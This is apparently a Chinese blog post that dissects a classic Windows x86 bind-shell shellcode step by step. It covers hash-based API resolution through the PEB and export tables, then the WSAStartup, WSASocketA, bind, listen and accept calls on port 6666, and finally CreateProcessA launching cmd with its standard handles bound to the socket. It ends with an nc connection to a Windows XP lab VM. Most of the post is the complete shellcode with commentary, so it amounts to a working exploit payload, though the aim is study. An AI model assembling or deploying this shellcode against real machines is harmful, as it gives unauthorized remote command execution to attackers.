dustland

dustball in dustland

bindshell逆向分析

Bind_shell

哈希算法设计

1.哈希算法不能发生碰撞,或者说存在发生碰撞的可能,但是可以肯定的是,首先匹配的就是目标函数.原则上不设计处理碰撞的算法

2.函数名的摘要值尽可能短

3.哈希算法自己的篇幅尽量短

4.哈希后的摘要值可以当作"准nop指令",即在数值上相当于某些机器码,但是这些机器码的执行不会对shellcode产生影响.如此可以省去跳转指令

书上采取的哈希算法是

1
2
3
4
5
6
hash_loop: 
lodsb ; load next char into al and increment esi
xor al, 0x71 ; XOR current char with 0x71
sub dl, al ; update hash with current char
cmp al, 0x71 ; loop until we reach end of string
jne hash_loop

dl初始值为0,

将库函数名逐个字节与0x71异或然后用dl减去该值累计哈希值,

最终的哈希值放在dl中,只需要1个字节

用这个哈希算法得到的各个函数的哈希值:

函数名 哈希值 准nop指令
LoadLibraryA 0x59 pop ecx
CreateProcessA 0x91
ExitProcess 0xc9
WSAStartup 0xd3 or ecx,0x203062d3
WSASocketA 0x62
bind 0x30
listen 0x20
accept 0x41 ecx

然后紧跟着cmd也写上

Ascii字符 Ascii值 准nop指令
C 0x43 inc ebx
M 0x4d dec dbp
d 0x64 FS:

准nop指令全都是不疼不痒的指令

因此bind-shell一开始是这样写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
; start of shellcode 
; assume: eax points here
; function hashes (executable as nop-equivalent)
_emit 0x59 ; LoadLibraryA ; pop ecx
_emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3
_emit 0xc9 ; ExitProcess
_emit 0xd3 ; WSAStartup
_emit 0x62 ; WSASocketA
_emit 0x30 ; bind
_emit 0x20 ; listen
_emit 0x41 ; accept ; inc ecx

; "CMd"
_emit 0x43 ; inc ebx
_emit 0x4d ; dec ebp
_emit 0x64 ; FS:

_emit相当于db,作用是定义字节数据

这些数据会被当做指令执行下来,但是影响不大

用ida反汇编观察这片区域

1
2
3
4
5
6
59                            pop     ecx
81 C9 D3 62 30 20 or ecx, 203062D3h
41 inc ecx
43 inc ebx
4D dec ebp
db 64h

只要是不影响程序计数器eip的指令,比如跳转和调用,都可以作为准nop指令

后面的指令从windows11上调试会发生错误,需要在windowsXP上调

解析符号

用三层循环解析符号,最外圈遍历我们要找的符号,中圈遍历库函数,内圈计算一个库函数的哈希值然后和我们的哈希值进行比较

image-20220918111811581

用伪代码表示为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
while(遍历我们给出的符号哈希表){
while(遍历库函数名表){
while(计算一个库函数的哈希值);
if(库函数哈希值=我们给出的哈希值){
//找到了该符号;
break;
}
else{
//没有找到该符号,尝试下一个用库函数来解析本符号;
continue;
}
}
if(我们的哈希表解析到头){
break;
}
else continue;
}

外圈循环初始化

使用装载器执行bindshell时,bindshell之前的指令是

1
2
3
lea eax,bindshell
push eax
ret

eax的初始值为bindshell的基地址,bindshell在栈中,因此eax的初始值是一个栈中地址,这对于理解后面的cdq指令是有作用的

设置函数地址存放空间

1
2
3
4
5
6
; start of proper code 
cdq ; set edx = 0 (eax points to stack so is less than 0x80000000)
xchg eax, esi ; esi = addr of first function hash
lea edi, [esi - 0x18] ; edi = addr to start writing function
; addresses (last addr will be written just
; before "cmd")

cdq指令的作用是eax带符号拓展到edx:eax,又bindshell一开始时,eax寄存器中是一个用户栈地址,显然这个值是一个小于0x80000000的数,那么eax的最高位必然是0,带符号拓展到edx全是0,这就用最短的指令使得edx置零了

xchg将eax和esi寄存器中的值进行交换,交换前esi=0,eax=address(shellcode)

交换后eax=0,esi=address(shellcode),又shellcode最开始就是_emit 0x59 ; LoadLibraryA ; pop ecx即LoadLibraryA函数的摘要值,因此相当于设置好了源操作数

然后esi-0x18这个地址放到edi上,距离esi共24字节,放到执行方向的反方向,意思是不要干扰shellcode的执行

奇怪的是,我们需要解析8个符号,为什么只给了24字节6个符号的地址空间呢?

这是因为后两个符号将会覆盖一开始给他设定的摘要的位置

获取kernel32.dll基地址

1
2
3
4
5
6
7
	
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll

然后开始定位kernel32.dll的基地址

md,绝了

fs段选择子指向GDT中当前程序的线程环境块描述符,

用fs段超越寻址,fs:[edx+0x30],此时edx=0,实际上相当于fs:[0x30],也就是TEB表的0x30位置,即PEB的指针.

寄存器 值意义
ebx PEB基地址
ecx initialisation order表第二项,kernel32.dll相关项
ebp kernel32.dll的基地址

抬栈申请空间

1
2
3
4

; make some stack space
mov dh, 0x03 ; sizeof(WSADATA) is 0x190
sub esp, edx

edx始终是0,dh=0x03则edx=0x300

然后抬栈0x300字节

image-20220918174706970

先前esp=0x12FF38,之后esp=0x12FC38

"ws2_32"字符串压栈

1
2
3
4
5
6
7

; push a pointer to "ws2_32" onto stack
mov dx, 0x3233 ; rest of edx is null
push edx
push 0x5f327377
push esp

这里有三个压栈,前两个是压入"ws2_32",后面这个是保存当时的esp位置

image-20220918170246010

外圈循环一次开始

1
2
3
4
5
6
7
8
9
10
find_lib_functions: 
lodsb ; load next hash into al and increment esi
cmp al, 0xd3 ; hash of WSAStartup - trigger
; LoadLibrary("ws2_32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0xc] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of ws2_32.dll
push edi ; save location of addr of first winsock function

汇编语言中不会平白无故地设置标号的,都是为了方便跳转,这里"find_lib_functions"标号意味着循环开始了

lodsb相当于

1
2
mov al,[esi]
inc esi
image-20220918174632185

然后al和0xd3比较的意思是,是否是要解析WSAStartup这个函数,如果是,则说明要到ws2_32库中解析函数了,而刚才一直都是在kernel32.dll中解析函数,因此此时需要更换库基址,又已经从kernel32.dll解析了LoadLibraryA,因此可以直接调用该windowsAPI寻找ws2_32.dll的基地址

如果al=0xd3就顺序执行,不跳转,调用LoadLibraryA更换库函数地址,然后再执行find_functions,否则直接跳转find_functions

中圈循环初始化

实际上外圈循环一次,中圈就初始化一次,两个可以看成一块

1
2
3
4
5
6
7
8
find_functions: 
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions

首先将所有寄存器压栈,即使有的寄存器不需要压栈保存,也要使用这条指令,因为它短

假设当前仍然是在kernel32.dll中解析函数,这意味着find_lib_functions中的push edi不会执行,那么此时的堆栈状态是

image-20220918172313484

ebp指向的是kernel32.dll或者ws2_32.dll的基地址,库基地址偏移0x3c的地方是库的PE头,

PE头偏移0x78的地方是导出函数地址(RVA)表的指针,这个地址交给ecx保管

ecx加上ebp的作用是获得导出函数地址表的绝对虚拟地址(刚才ecx中是相对于库基址的相对虚拟地址)

ecx+0x20处是导出函数名表的指针,解引用后将导出函数名表的相对基地址交给ebx保管

ebx再加上ebp就得到了导出函数名表的绝对虚拟地址

edi置零,将会作为中圈循环变量

寄存器 值意义
eax RVA(PE头)
ebx VA(导出函数名表)
ecx VA(导出函数地址表)
edi 中圈循环变量,作为导出函数表的下标

中圈循环一次开始

1
2
3
4
5
next_function_loop: 
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)

edi每次自增1,然后[ebx+edi*4]基址变址寻址,ebx是导出函数名表的基地址,ebx+edi*4就相当于下标访问数组name[edi],

这个导出函数名表的每一项都是字符串指针,解引用后取得一个函数名字符串的相对基地址,放到esi,然后esi+ebp得到该函数名字符串的绝对基地址.

cdq用eax带符号拓展将edx置零,因为edx马上就要存放该导出函数名的哈希值了

内圈循环hash_loop

1
2
3
4
5
6
hash_loop: 
lodsb ; load next char into al and increment esi
xor al, 0x71 ; XOR current char with 0x71
sub dl, al ; update hash with current char
cmp al, 0x71 ; loop until we reach end of string
jne hash_loop

内圈循环就是计算esi开始的导出函数名的哈希值

lodsb相当于

1
2
mov al,[esi]
inc esi

每次取该函数名的一个字节放到al上,和0x71按位异或之后用dl减去该异或值,dl负责累计哈希值

如果al与0x71异或得到0x71说明al本来就是00,说明该字符串遍历到头'\0'了,此时算是计算完了本函数名的哈希值

中圈循环一次判断

1
2
cmp dl, [esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
jnz next_function_loop

al中存放刚计算出哈希值,esp+0x1c指向的是我们正在给他解析地址的函数摘要

image-20220918171355607

al与[esp+0x1c]一比划,如果相等说明该找到了目标函数,跳出中圈循环

如果不相等说明当前库函数名不是我们想要解析的,需要中圈遍历下一个函数名,因此jnz next_function_loop

外圈循环一次结束,回写目标函数绝对地址

此时寄存器中值的意义来自 中圈循环初始化

ebx VA(导出函数名表)
ecx VA(导出函数地址表)
1
2
3
4
5
6
7
8
9
10
11
12
mov ebx, [ecx + 0x24] 		; ebx = relative offset of ordinals table 
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers

ecx+0x24指向序号表的RVA,解引用后将序号表RVA放到ebx上然后加上ebp中的库基址就得到了VA(序号表)

用函数名表的下标查序号表,得到的值作为下标查地址表就得到了函数地址,

在回写之前首先退栈还原edi,这是因为在中圈循环初始化时所有寄存器都压栈保存了,后来无法保证edi是否被修改过,因此这里采用堆栈上保存的值还原edi,由于edi是最后一个入栈的寄存器,此时位于栈顶,直接pop就可以还原了,在图上看就是

image-20220918171355607

然后使用stosd,相当于

1
2
mov [edi],eax
add edi,4

这就将函数地址回写到了预留的函数地址空间中了

image-20220918174549264

然后再将edi压栈是为了凑齐popad的结构,给edi占位防止错位弹出

最后popad将所有压栈保存的寄存器还原,此时的堆栈状态为

image-20220918173600627

所有寄存器的意义为

image-20220918173623051

外圈循环判断是否全部解析完毕

1
2
3
cmp esi, edi 				; loop until we reach end of last hash 
jne find_lib_functions

一开始给8个符号的地址只预留了24字节的空间,能够容纳6个符号,剩下两个符号需要覆盖摘要值

当edi追上esi的时候意味着覆盖完成,8个符号已经都解析了,此时外圈循环也结束了

image-20220918174325158

建立Socket通信

1
2
pop esi 					; saved location of first winsock function 
; we will lodsd and call each func in sequence

在外圈循环一次的时候曾经区别处理过ws2_32.dll的函数有一个push edi压栈,意思是压栈保存第一条ws2_32.dll函数的地址

1
2
3
4
5
6
7
8
9
10
find_lib_functions: 
lodsb ; load next hash into al and increment esi
cmp al, 0xd3 ; hash of WSAStartup - trigger
; LoadLibrary("ws2_32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0xc] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of ws2_32.dll
push edi ; save location of addr of first winsock function

在执行本条指令之前的堆栈状态

image-20220918175317614

pop esi之后,esi就指向了第一条ws2_32的函数在预留空间中的地址,也就是WSAStartup的预留地址

调用WSAStartUp

该API函数作用是为进程使用Winsock模块初始化,必须先调用该函数才可以激活Winsock模块中的其他函数,其接口为

1
2
3
4
5
6
int WSAStartup(
WORD wVersionRequired,//可以使用的windows 套接字规范的最高版本


[out] LPWSADATA lpWSAData//返回值,指向WSADATA结构体的指针
);

其中32位机器上,WSADATA长这样

1
2
3
4
5
6
7
8
9
10
typedef struct WSAData {
WORD wVersion;//我们要使用的版本
WORD wHighVersion;//系统能提供给我们的版本
char szDescription[WSADESCRIPTION_LEN+1];
char szSystemStatus[WSASYS_STATUS_LEN+1];//当前库的秒数信息,2.0是第2版的意思
unsigned short iMaxSockets;//返回可用的socket数量,2版本只有就没用了
unsigned short iMaxUdpDg;//UDP数据报信息大小,2版本只有就没用了
char FAR * lpVendorInfo;//供应商特定的信息,2版本只有就没用了
} WSADATA;

共11个字节

1
2
3
4
5
6
; initialize winsock 

push esp ; use stack for WSADATA
push 0x02 ; wVersionRequested
lodsd
call eax ; WSAStartup

首先esp压栈作为第二个参数的地址,返回的WSADATA结构体将会写到此时的栈顶

0x02压栈作为第一个参数,即套接字版本号

esi恰好就指向WSAStartUp的预留地址,lodsd相当于

1
2
mov eax,[esi]
add esi,4

就解引用将函数的绝对地址放到eax上了

然后call eax调用API,返回值写到所有参数之前的栈顶上,如果函数调用成功则eax=0

image-20220918181142886

给"CMd"画上句号

趁着eax刚从WSAStartUp返回来,值为0,将0放到"CMd"字符串后面

1
2
; null-terminate "cmd" 
mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked

调用WSASocketA

WSASockA创建一个绑定到特殊服务提供者的套接字

其函数接口为

1
2
3
4
5
6
7
8
SOCKET WSAAPI WSASocketA(
[in] int af,//网络层协议,AF_INET(2)
[in] int type,//传输层类型SOCK_STREAM(1)
[in] int protocol,//传输层协议,TCP(6),UDP(17)
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo,//WSAPROTOCOL_INFO结构体指针,用于存储信息
[in] GROUP g,//套接字组ID
[in] DWORD dwFlags//套接字属性标志
);

如果调用成功,返回该套接字的描述符

清空栈帧,相当于填充NULL作为参数

1
2
3
4
; clear some stack to use as NULL parameters 
lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44, ecx=0x30,重复30次
mov edi, esp ;当前栈顶设置为串拷贝的目标
rep stosd ; eax is still 0 eax拷贝到edi,edi自增4,相当于全都置零

执行之前栈帧的状态

image-20220918191550943

执行之后

image-20220918191620311
1
2
3
4
5
6
7
8
9
10
11


; create socket
inc eax ;eax=1
push eax ; type = 1 (SOCK_STREAM) ,1压栈
inc eax ;eax=2
push eax ; af = 2 (AF_INET) IPv4协议
lodsd ;[esi]->eax,esi+=4,eax指向WSASocketA的地址
call eax ; WSASocketA
xchg ebp, eax ; save SOCKET descriptor in ebp (safe from
; being changed by remaining API calls)

调用WSASocketA之前,栈帧的状态为

image-20220918192112499

函数调用返回后,eax中存放的是套接字描述符,交换到ebp中保存起来

bind,listen,accept循环

初始化bind参数

bind函数用来绑定套接字

其接口为

1
2
3
4
5
int bind(
[in] SOCKET s,//套接字描述符
const sockaddr *name,//sockaddr结构体指针,该结构体用于指定ipv4地址还有端口号
[in] int namelen//name指向的结构体的大小
);

只要是namelen>sizeof(*name)就可以,因此namelen可以往大了设置为任意大小

sockaddr用来指定ip协议类型,ip地址还有端口号

1
2
3
4
struct sockaddr {
unsigned short sa_family; /* address family, AF_xxx */
char sa_data[14]; /* 14 bytes of protocol address */
};

相当于sockaddr_in结构体,二者在大小上是相同的

1
2
3
4
5
6
struct sockaddr_in {
short int sin_family; /* Address family */
unsigned short int sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
unsigned char sin_zero[8]; /* Same size as struct sockaddr */
};
1
2
3
4
5
6
7
; push bind parameters 
mov eax, 0x0a1aff02 ; 0x1a0a = port 6666, 0x02 = AF_INET
xor ah, ah ; remove the ff from eax
push eax ; we use 0x0a1a0002 as both the name (struct
; sockaddr) and namelen (which only needs to
; be large enough)
push esp ; pointer to our sockaddr struct

0x0a1a0002这个值直接压栈作为namelen,足够大了

0x0a1a0002,最低两个字节0x0002用来填sockaddr_in.sin_family

然后用0x0a1a=6666填sockaddr_in.sin_port

将namelen的栈中地址压栈,因为其上的数也可以作为sock_addr结构体

image-20220918195551305

到此还有一个参数没有压栈,即套接字描述符,它保存在ebp中

三联循环,复用循环代码

1
2
3
4
5
6
7
8
9
10
11


; call bind(), listen() and accept() in turn
call_loop:
push ebp ; saved SOCKET descriptor (we implicitly pass
; NULL for all other params)
lodsd
call eax ; call the next function
test eax, eax ; bind() and listen() return 0, accept()
; returns a SOCKET descriptor
jz call_loop
首先调用bind

ebp存放的是套接字描述符,压栈

image-20220918194646766

然后lodsd将bind函数地址搬到eax上,然后函数edi函数指针后移4个字节,指向listen了

eax中是bind的地址,call eax调用bind了

如果调用成功则返回eax=0,又恰好bind,listen成功的返回值eax=0,accept成功的返回值非零,因此可以根据eax值判断该函数是不是accept

如果返回0则不是,说明三联还没有完成,重新call_loop

然后调用listen

listen函数,将套接字设置为监听状态

其接口为

1
2
3
4
int WSAAPI listen(
[in] SOCKET s,//套接字描述符
[in] int backlog//挂起连接队列的最大长度,不疼不痒
);

这里我们只对第一个参数,套接字描述符,感兴趣,backlog爱是啥是啥,反正不是0就行

于是在第二次循环一开始又将ebp压入作为第一个参数,历史上的堆栈,爱谁谁作为第二个参数

lodsd 又将listen地址放到eax上然后edi指向下一个函数accept,

然后就调用了listen,返回eax=0

最后调用accept

accept用于接收对套接字的连接

调用成功返回新的套接字描述符

拱手让shell

到此套接字通信就建立起来了,下面要创建一个cmd进程然后绑到套接字上

CreateProcess用于创建一个新进程并创建其主线程

1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcess(  
 LPCTSTR lpApplicationName, // 应用程序名称
 LPTSTR lpCommandLine, // 命令行字符串 //这里放"CMd"
 LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程的安全属性
 LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程的安全属性
 BOOL bInheritHandles, // 是否继承父进程的属性
 DWORD dwCreationFlags, // 创建标志
 LPVOID lpEnvironment, // 指向新的环境块的指针
 LPCTSTR lpCurrentDirectory, // 指向当前目录名的指针
 LPSTARTUPINFO lpStartupInfo, // 传递给新进程的信息
 LPPROCESS_INFORMATION lpProcessInformation // 新进程返回的信息
);

其中lpStartupInfo用于和套接字绑定,重要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
typedef struct _STARTUPINFO
{
DWORD cb; //包含STARTUPINFO结构中的字节数.如果Microsoft将来扩展该结构,它可用作版本控制手段.
//应用程序必须将cb初始化为sizeof(STARTUPINFO)
PSTR lpReserved; //保留。必须初始化为N U L L
PSTR lpDesktop; //用于标识启动应用程序所在的桌面的名字。如果该桌面存在,新进程便与指定的桌面相关联。
//如果桌面不存在,便创建一个带有默认属性的桌面,并使用为新进程指定的名字。
//如果lpDesktop是NULL(这是最常见的情况),那么该进程将与当前桌面相关联
PSTR lpTitle; //用于设定控制台窗口的名称。如果l p Ti t l e 是N U L L ,则可执行文件的名字将用作窗口名
DWORD dwX; //用于设定应用程序窗口在屏幕上应该放置的位置的x 和y 坐标(以像素为单位)。
DWORD dwY; //只有当子进程用CW_USEDEFAULT作为CreateWindow的x参数来创建它的第一个重叠窗口时,
//才使用这两个坐标。若是创建控制台窗口的应用程序,这些成员用于指明控制台窗口的左上角

DWORD dwXSize; //用于设定应用程序窗口的宽度和长度(以像素为单位)只有dwYsize
DWORD dwYSize; //当子进程将C W _ U S E D E FA U LT 用作C r e a t e Wi n d o w 的
// n Wi d t h参数来创建它的第一个重叠窗口时,才使用这些值。
//若是创建控制台窗口的应用程序,这些成员将用于指明控制台窗口的宽度
DWORD dwXCountChars; //用于设定子应用程序的控制台窗口的宽度和高度(以字符为单位)
DWORD dwYCountChars;
DWORD dwFillAttribute; //用于设定子应用程序的控制台窗口使用的文本和背景颜色
DWORD dwFlags; //请参见下一段和表4 - 7 的说明
WORD wShowWindow; //用于设定如果子应用程序初次调用的S h o w Wi n d o w 将S W _ S H O W D E FA U LT 作为
// n C m d S h o w 参数传递时,该应用程序的第一个重叠窗口应该如何出现。
// 本成员可以是通常用于Show Wi n d o w 函数的任何一个S W _ *标识符
WORD cbReserved2; //保留。必须被初始化为0
PBYTE lpReserved2; //保留。必须被初始化为N U L L
HANDLE hStdInput; //用于设定供控制台输入和输出用的缓存的句柄。
//按照默认设置,h S t d I n p u t 用于标识键盘缓存,
// h S t d O u t p u t 和h S t d E r r o r用于标识控制台窗口的缓存
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO;

初始化STARTUPINFO结构体

1
2
3
4
5
6
7
; initialise a STARTUPINFO structure at esp 
inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true
sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO
stosd ; use SOCKET descriptor returned by accept
; (still in eax) as the stdin handle
stosd ; same for stdout
stosd ; same for stderr (optional)

这里edi和esp已经离得很近了,在sub edi,0x6c之前

image-20220918202314459

之后

image-20220918202330635

然后在edi的最后三个双字上(stdinput,stdout,stderr)都设置为eax中的套接字描述符

剩余的字节都是0

CreateProcessA

栈顶位置还啥也没写,推给eax当0用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

; create process
pop eax ; set eax = 0 (STARTUPINFO now at esp + 4)
push esp ; use stack as PROCESSINFORMATION structure
; (STARTUPINFO now back to esp)
push esp ; STARTUPINFO structure
push eax ; lpCurrentDirectory = NULL
push eax ; lpEnvironment = NULL
push eax ; dwCreationFlags = NULL
push esp ; bInheritHandles = true
push eax ; lpThreadAttributes = NULL
push eax ; lpProcessAttributes = NULL
push esi ; lpCommandLine = "cmd"
push eax ; lpApplicationName = NULL
call [esi - 0x1c] ; CreateProcessA

这就创建了一个cmd进程,其三标都重定向到套接字了

测试

windows XP靶机和win10主机采用NAT连接方式,XP靶机的ip地址为192.168.191.137

靶机地址

在主机上nc 192.168.191.137 6666

通了